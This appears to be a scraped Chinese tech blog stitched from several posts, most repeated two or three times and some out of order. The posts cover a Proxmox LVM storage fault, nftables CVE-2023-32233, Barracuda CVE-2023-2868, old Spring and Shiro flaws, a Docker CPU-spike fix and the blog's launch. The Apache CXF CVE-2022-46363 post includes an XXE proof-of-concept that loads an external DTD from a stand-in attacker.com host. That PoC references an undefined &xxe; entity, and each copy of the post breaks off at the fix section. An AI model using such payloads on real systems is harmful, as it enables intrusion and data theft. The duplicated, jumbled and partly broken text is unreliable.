为进一步诊断故障，登录 PVE 管理节点进行详细排查。使用 pvesm status 命令确认存储池状态为 inactive。 命令行输出如下:

root@pve:~# pvesm status
Name           Type    Status   Total            Used      Available       %
local          dir     active   101989376       8178896       93810480    8.02%
local-lvm      lvm     inactive 255789056      2841728      252947328    1.11%

随后，利用 LVM 工具进行深层分析。通过 lvdisplay 和 vgdisplay 命令检查 LVM 卷组状态，发现卷组处于 NOT available 状态。 尝试使用 vgchange -ay vg0 激活卷组，系统返回错误信息： “Volume group vg0 metadata corrupted”。

1. 故障概述：PVE 存储池状态异常

近期，我们维护的 Proxmox VE (PVE) 集群中，一台服务器的存储系统出现异常。监控系统显示，local-lvm 存储池 IO 延迟显著升高，部分虚拟机响应缓慢直至停止工作。经初步排查，确认 local-lvm 存储池状态变为 inactive。

在 PVE Web 界面中，存储状态信息显示 local-lvm 处于非激活状态。

2. 故障诊断：LVM 卷组 Metadata 损坏

为进一步诊断故障，登录 PVE 管理节点进行详细排查。使用 pvesm status 命令确认存储池状态为 inactive。 命令行输出如下:

root@pve:~# pvesm status
Name           Type    Status   Total            Used      Available       %
local          dir     active   101989376       8178896       93810480    8.02%
local-lvm      lvm     inactive 255789056      2841728      252947328    1.11%

随后，利用 LVM 工具进行深层分析。通过 lvdisplay 和 vgdisplay 命令检查 LVM 卷组状态，发现卷组处于 NOT available 状态。 尝试使用 vgchange -ay vg0 激活卷组，系统返回错误信息： “Volume group vg0 metadata corrupted”。

最近研究了 CVE-2023-32233，这是一个影响 Linux 6.3 及之前版本 的 UAF（Use-After-Free） 漏洞。由于 nftables 近年来已经成为 Linux 的主要防火墙组件，因此该漏洞的影响范围较广，攻击者可以利用它在 CAP_NET_ADMIN 权限下提权至 root。

1. 漏洞背景

1.1 Netfilter 与 nftables 简介

Netfilter 是 Linux 内核防火墙的核心组件，而 nftables 作为 iptables 的替代方案，被广泛应用于防火墙、流量过滤和 NAT 规则管理。

该漏洞出现在 nftables 代码逻辑中，攻击者可以通过 UAF 访问已释放的 nft_set_elem 结构，导致堆内存覆盖，最终实现提权。

1.2 影响范围

受影响的内核版本：

• Linux 5.13 - 6.3
• Ubuntu 22.04、Debian 11、Arch Linux、Fedora 37 等默认开启 nftables 的系统

2. 漏洞分析

2.1 代码成因

漏洞的核心问题在于 nft_set_elem 结构释放后，仍然被访问：

static void nft_setelem_activate(const struct nft_ctx *ctx,
				 struct nft_set *set,
				 struct nft_set_elem *elem)
{
	if (nft_set_elem_is_active(set, elem))
		return;

	elem->priv = nft_trans_elem(ctx->tx);
}

在 nft_setelem_activate() 中，elem->priv 被赋值为 nft_trans_elem(ctx->tx)，但 elem 可能已经被释放，这样攻击者就能劫持 priv 指针，导致UAF 访问。

最近研究了 CVE-2023-32233，这是一个影响 Linux 6.3 及之前版本 的 UAF（Use-After-Free） 漏洞。由于 nftables 近年来已经成为 Linux 的主要防火墙组件，因此该漏洞的影响范围较广，攻击者可以利用它在 CAP_NET_ADMIN 权限下提权至 root。

1. 漏洞背景

1.1 Netfilter 与 nftables 简介

Netfilter 是 Linux 内核防火墙的核心组件，而 nftables 作为 iptables 的替代方案，被广泛应用于防火墙、流量过滤和 NAT 规则管理。

该漏洞出现在 nftables 代码逻辑中，攻击者可以通过 UAF 访问已释放的 nft_set_elem 结构，导致堆内存覆盖，最终实现提权。

1.2 影响范围

受影响的内核版本：

• Linux 5.13 - 6.3
• Ubuntu 22.04、Debian 11、Arch Linux、Fedora 37 等默认开启 nftables 的系统

2. 漏洞分析

2.1 代码成因

漏洞的核心问题在于 nft_set_elem 结构释放后，仍然被访问：

static void nft_setelem_activate(const struct nft_ctx *ctx,
				 struct nft_set *set,
				 struct nft_set_elem *elem)
{
	if (nft_set_elem_is_active(set, elem))
		return;

	elem->priv = nft_trans_elem(ctx->tx);
}

在 nft_setelem_activate() 中，elem->priv 被赋值为 nft_trans_elem(ctx->tx)，但 elem 可能已经被释放，这样攻击者就能劫持 priv 指针，导致UAF 访问。

好久没更新了，博客还是得写点东西，不然感觉像是荒废了。不过写博客这事，还是随缘，毕竟日常事情够多的，没必要硬凑内容。

这一阵子主要在搞漏洞复现和一些技术积累，趁着空闲整理下笔记，顺便聊聊最近遇到的一些有意思的东西。

近期的安全研究

1. CVE-2023-2868：邮件安全网关远程命令执行漏洞

前段时间研究了一下 CVE-2023-2868，这是一个 Barracuda Email Security Gateway（ESG）上的 RCE 漏洞。官方 CVSS 评分 9.8，基本上是“不能不修”的级别。

这个漏洞本质上是对 TAR 格式解析的处理不当，导致攻击者可以构造特定的压缩包，在解析时触发远程命令执行。这个漏洞比较麻烦的一点是，它早在 2022 年 10 月就被 APT 组织利用了，而 Barracuda 直到 2023 年 5 月才公开披露，等于白送攻击者大半年时间。

漏洞复现过程就不细讲了，核心点在于：

1. 需要找到一个受影响版本的 ESG 设备（虚拟环境搭建不算难，但环境获取相对麻烦）。
2. 发送特制的 TAR 附件，利用 ESG 解析过程中的漏洞执行任意命令。
3. 观察服务器端返回情况，确认成功 RCE。

Barracuda 官方建议是尽快升级，但考虑到 APT 组织长期利用的可能性，真正的解决方案其实是直接换设备，因为攻击者可能早就植入了后门。补丁能修漏洞，但不能抹掉入侵历史。

2. 某些老旧 Web 框架的安全问题

最近看了一些老项目，发现很多仍然在用老旧的 Web 框架，有的甚至是 2016 年左右的代码，安全性堪忧：

• Spring 早期版本的 Actuator 接口暴露问题
  /actuator/env、/actuator/configprops 这些接口在很多老项目里默认是开放的，一些开发者甚至没有权限控制机制，直接导致环境变量和应用配置泄露。
• Shiro 反序列化漏洞
  还见到有些项目用的 Shiro 版本很老，rememberMe 反序列化漏洞依然存在，虽然 Shiro 早就修了，但这些项目压根没升级。

有时候搞这些老项目，比分析 0day 还麻烦，因为很多代码根本没文档，甚至得靠翻源码才能搞清楚逻辑。更别提修复了，动一块就容易牵扯一大片。

好久没更新了，博客还是得写点东西，不然感觉像是荒废了。不过写博客这事，还是随缘，毕竟日常事情够多的，没必要硬凑内容。

这一阵子主要在搞漏洞复现和一些技术积累，趁着空闲整理下笔记，顺便聊聊最近遇到的一些有意思的东西。

近期的安全研究

1. CVE-2023-2868：邮件安全网关远程命令执行漏洞

前段时间研究了一下 CVE-2023-2868，这是一个 Barracuda Email Security Gateway（ESG）上的 RCE 漏洞。官方 CVSS 评分 9.8，基本上是“不能不修”的级别。

这个漏洞本质上是对 TAR 格式解析的处理不当，导致攻击者可以构造特定的压缩包，在解析时触发远程命令执行。这个漏洞比较麻烦的一点是，它早在 2022 年 10 月就被 APT 组织利用了，而 Barracuda 直到 2023 年 5 月才公开披露，等于白送攻击者大半年时间。

漏洞复现过程就不细讲了，核心点在于：

1. 需要找到一个受影响版本的 ESG 设备（虚拟环境搭建不算难，但环境获取相对麻烦）。
2. 发送特制的 TAR 附件，利用 ESG 解析过程中的漏洞执行任意命令。
3. 观察服务器端返回情况，确认成功 RCE。

Barracuda 官方建议是尽快升级，但考虑到 APT 组织长期利用的可能性，真正的解决方案其实是直接换设备，因为攻击者可能早就植入了后门。补丁能修漏洞，但不能抹掉入侵历史。

2. 某些老旧 Web 框架的安全问题

最近看了一些老项目，发现很多仍然在用老旧的 Web 框架，有的甚至是 2016 年左右的代码，安全性堪忧：

• Spring 早期版本的 Actuator 接口暴露问题
  /actuator/env、/actuator/configprops 这些接口在很多老项目里默认是开放的，一些开发者甚至没有权限控制机制，直接导致环境变量和应用配置泄露。
• Shiro 反序列化漏洞
  还见到有些项目用的 Shiro 版本很老，rememberMe 反序列化漏洞依然存在，虽然 Shiro 早就修了，但这些项目压根没升级。

有时候搞这些老项目，比分析 0day 还麻烦，因为很多代码根本没文档，甚至得靠翻源码才能搞清楚逻辑。更别提修复了，动一块就容易牵扯一大片。

春节假期结束，收拾心情重新投入到工作中。趁着年后这段时间，深入研究了一下Apache CXF最近爆出的CVE-2022-46363漏洞，这里跟大家分享下我的分析过程。

漏洞概述

• CVE编号: CVE-2022-46363
• 影响版本:
  • Apache CXF < 3.4.10
  • Apache CXF 3.5.0 到 3.5.4
• CVSS评分: 7.5 (高危)
• 漏洞类型: 远程代码执行

漏洞原理分析

这个漏洞存在于CXF的WADL到Java代码生成工具中。具体来说，是在处理WADL文档中的resource元素时，对外部实体引用(XXE)的处理不当。

关键代码片段：

public class WADLToJavaProcessor {
    private void processResources(Resources resources) {
        for (Resource r : resources.getResource()) {
            // 这里直接处理外部资源,没有做足够的安全检查
            String path = r.getPath();
            processResource(path);
        }
    }
}

漏洞触发条件

1. WADL文档中包含恶意的外部实体引用
2. 服务器启用了WADL生成功能
3. 攻击者能够控制WADL文档的输入

漏洞复现

1. 环境搭建

<!-- pom.xml -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxrs</artifactId>
    <version>3.4.9</version>
</dependency>

2. 构造POC

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
    %remote;
]>
<application xmlns="http://wadl.dev.java.net/2009/02">
    <resources base="http://example.com/">
        <resource path="test">
            &xxe;
        </resource>
    </resources>
</application>

3. 验证过程

1. 启动包含漏洞版本的CXF服务
2. 发送构造的WADL文档
3. 观察服务器响应和日志

修复方案

1. 官方修复方案：

春节假期结束，收拾心情重新投入到工作中。趁着年后这段时间，深入研究了一下Apache CXF最近爆出的CVE-2022-46363漏洞，这里跟大家分享下我的分析过程。

漏洞概述

• CVE编号: CVE-2022-46363
• 影响版本:
  • Apache CXF < 3.4.10
  • Apache CXF 3.5.0 到 3.5.4
• CVSS评分: 7.5 (高危)
• 漏洞类型: 远程代码执行

漏洞原理分析

这个漏洞存在于CXF的WADL到Java代码生成工具中。具体来说，是在处理WADL文档中的resource元素时，对外部实体引用(XXE)的处理不当。

关键代码片段：

public class WADLToJavaProcessor {
    private void processResources(Resources resources) {
        for (Resource r : resources.getResource()) {
            // 这里直接处理外部资源,没有做足够的安全检查
            String path = r.getPath();
            processResource(path);
        }
    }
}

漏洞触发条件

1. WADL文档中包含恶意的外部实体引用
2. 服务器启用了WADL生成功能
3. 攻击者能够控制WADL文档的输入

漏洞复现

1. 环境搭建

<!-- pom.xml -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxrs</artifactId>
    <version>3.4.9</version>
</dependency>

2. 构造POC

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
    %remote;
]>
<application xmlns="http://wadl.dev.java.net/2009/02">
    <resources base="http://example.com/">
        <resource path="test">
            &xxe;
        </resource>
    </resources>
</application>

3. 验证过程

1. 启动包含漏洞版本的CXF服务
2. 发送构造的WADL文档
3. 观察服务器响应和日志

修复方案

1. 官方修复方案：

春节假期结束，收拾心情重新投入到工作中。趁着年后这段时间，深入研究了一下Apache CXF最近爆出的CVE-2022-46363漏洞，这里跟大家分享下我的分析过程。

漏洞概述

• CVE编号: CVE-2022-46363
• 影响版本:
  • Apache CXF < 3.4.10
  • Apache CXF 3.5.0 到 3.5.4
• CVSS评分: 7.5 (高危)
• 漏洞类型: 远程代码执行

漏洞原理分析

这个漏洞存在于CXF的WADL到Java代码生成工具中。具体来说，是在处理WADL文档中的resource元素时，对外部实体引用(XXE)的处理不当。

关键代码片段：

public class WADLToJavaProcessor {
    private void processResources(Resources resources) {
        for (Resource r : resources.getResource()) {
            // 这里直接处理外部资源,没有做足够的安全检查
            String path = r.getPath();
            processResource(path);
        }
    }
}

漏洞触发条件

1. WADL文档中包含恶意的外部实体引用
2. 服务器启用了WADL生成功能
3. 攻击者能够控制WADL文档的输入

漏洞复现

1. 环境搭建

<!-- pom.xml -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxrs</artifactId>
    <version>3.4.9</version>
</dependency>

2. 构造POC

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
    %remote;
]>
<application xmlns="http://wadl.dev.java.net/2009/02">
    <resources base="http://example.com/">
        <resource path="test">
            &xxe;
        </resource>
    </resources>
</application>

3. 验证过程

1. 启动包含漏洞版本的CXF服务
2. 发送构造的WADL文档
3. 观察服务器响应和日志

修复方案

1. 官方修复方案：

这周遇到了一个有意思的问题：一个运行了大半年的 Docker 容器突然 CPU 占用飙升到 90% 以上。本以为是个简单的问题，结果排查下来却发现了一些有趣的细节，在这里和大家分享下。

问题现象

事情是这样的：周三早上收到监控报警，说是测试环境的一个 Docker 容器 CPU 使用率异常。登上去一看，好家伙，CPU 稳定在 95% 左右。这个容器跑的是我们的 Java 后端服务，平时 CPU 也就 20%-30%，这次直接起飞了。

排查过程

首先用 top 命令看了下进程状态，发现是 Java 进程占用 CPU 特别高。第一反应是不是发生了内存泄漏，导致频繁 GC。

# 查看具体线程情况
top -Hp <pid>

通过这个命令发现，CPU 主要被一个线程占用。接着用 jstack 导出了线程栈：

jstack <pid> > thread_dump.txt

查看线程栈时发现了问题所在：有一个处理缓存的线程在疯狂执行本地缓存的过期检查，而且是在死循环里。

深入代码一看，原来是前段时间为了优化缓存，加了个本地缓存的二级缓存机制。但是在设置缓存过期时间的地方，单位用错了 - 把分钟写成了毫秒。导致缓存项在创建后立即就过期了，然后触发重新加载，形成了恶性循环。

解决方案

1. 紧急修复：先把时间单位改对
2. 增加了缓存相关的监控指标
3. 在代码里加了单位转换的工具类，避免手写时间单位转换

教训总结

1. 时间单位这种细节真的很容易出问题，特别是在多人协作的项目中
2. 本地缓存虽然能提升性能，但如果处理不当反而会造成更大的问题
3. 监控报警体系很重要，要不是有监控，可能到用户反馈系统慢了才会发现

后续改进

这次事件后，我们还做了一些改进：

1. 在代码规范中明确要求使用 TimeUnit 来处理时间单位
2. 为所有缓存模块添加了更细粒度的监控
3. 写了一个缓存性能测试套件，确保缓存模块在各种场景下的表现

说实话这个问题虽然看起来很低级，但确实让我对缓存的实现细节有了更深的认识。也再次证明了，在性能优化时，我们不能只关注优化本身，还要考虑可能带来的副作用。

另外推荐一个命令行工具 arthas，它对排查 Java 应用问题特别有帮助，比普通的 jstack、jmap 要强大得多。有兴趣的同学可以去看看。

每次遇到这种问题都是既烦恼又庆幸：烦恼是debug花了不少时间，庆幸是每次都能学到新东西。

这周遇到了一个有意思的问题：一个运行了大半年的 Docker 容器突然 CPU 占用飙升到 90% 以上。本以为是个简单的问题，结果排查下来却发现了一些有趣的细节，在这里和大家分享下。

问题现象

事情是这样的：周三早上收到监控报警，说是测试环境的一个 Docker 容器 CPU 使用率异常。登上去一看，好家伙，CPU 稳定在 95% 左右。这个容器跑的是我们的 Java 后端服务，平时 CPU 也就 20%-30%，这次直接起飞了。

排查过程

首先用 top 命令看了下进程状态，发现是 Java 进程占用 CPU 特别高。第一反应是不是发生了内存泄漏，导致频繁 GC。

# 查看具体线程情况
top -Hp <pid>

通过这个命令发现，CPU 主要被一个线程占用。接着用 jstack 导出了线程栈：

jstack <pid> > thread_dump.txt

查看线程栈时发现了问题所在：有一个处理缓存的线程在疯狂执行本地缓存的过期检查，而且是在死循环里。

深入代码一看，原来是前段时间为了优化缓存，加了个本地缓存的二级缓存机制。但是在设置缓存过期时间的地方，单位用错了 - 把分钟写成了毫秒。导致缓存项在创建后立即就过期了，然后触发重新加载，形成了恶性循环。

解决方案

1. 紧急修复：先把时间单位改对
2. 增加了缓存相关的监控指标
3. 在代码里加了单位转换的工具类，避免手写时间单位转换

教训总结

1. 时间单位这种细节真的很容易出问题，特别是在多人协作的项目中
2. 本地缓存虽然能提升性能，但如果处理不当反而会造成更大的问题
3. 监控报警体系很重要，要不是有监控，可能到用户反馈系统慢了才会发现

后续改进

这次事件后，我们还做了一些改进：

1. 在代码规范中明确要求使用 TimeUnit 来处理时间单位
2. 为所有缓存模块添加了更细粒度的监控
3. 写了一个缓存性能测试套件，确保缓存模块在各种场景下的表现

说实话这个问题虽然看起来很低级，但确实让我对缓存的实现细节有了更深的认识。也再次证明了，在性能优化时，我们不能只关注优化本身，还要考虑可能带来的副作用。

另外推荐一个命令行工具 arthas，它对排查 Java 应用问题特别有帮助，比普通的 jstack、jmap 要强大得多。有兴趣的同学可以去看看。

每次遇到这种问题都是既烦恼又庆幸：烦恼是debug花了不少时间，庆幸是每次都能学到新东西。

终于,经过一番折腾,我的个人博客 aiset.top 正式上线了!

作为一名技术爱好者,一直都想要有一个属于自己的独立博客空间。在对比了多个建站方案后,最终选择了 Hugo 作为博客框架,主要看中了它简洁、高效、易于维护的特点。

为什么选择 Hugo?

• 静态站点生成器,无需数据库
• 构建速度快,资源占用小
• Markdown 写作体验好
• 主题丰富,可定制性强

目前使用的是 Hugo 的 Ananke 主题,这个主题简约大方,完全满足我当前的需求。后续会根据实际使用情况,逐步添加新的功能模块。

后续计划

未来我会在这里分享一些技术心得、学习笔记和随想。欢迎大家多多交流,一起学习进步!

PS: 本站于2022年10月22日正式启用,希望能够坚持写作,积累分享。

终于,经过一番折腾,我的个人博客 aiset.top 正式上线了!

作为一名技术爱好者,一直都想要有一个属于自己的独立博客空间。在对比了多个建站方案后,最终选择了 Hugo 作为博客框架,主要看中了它简洁、高效、易于维护的特点。

为什么选择 Hugo?

• 静态站点生成器,无需数据库
• 构建速度快,资源占用小
• Markdown 写作体验好
• 主题丰富,可定制性强

目前使用的是 Hugo 的 Ananke 主题,这个主题简约大方,完全满足我当前的需求。后续会根据实际使用情况,逐步添加新的功能模块。

后续计划

未来我会在这里分享一些技术心得、学习笔记和随想。欢迎大家多多交流,一起学习进步!

PS: 本站于2022年10月22日正式启用,希望能够坚持写作,积累分享。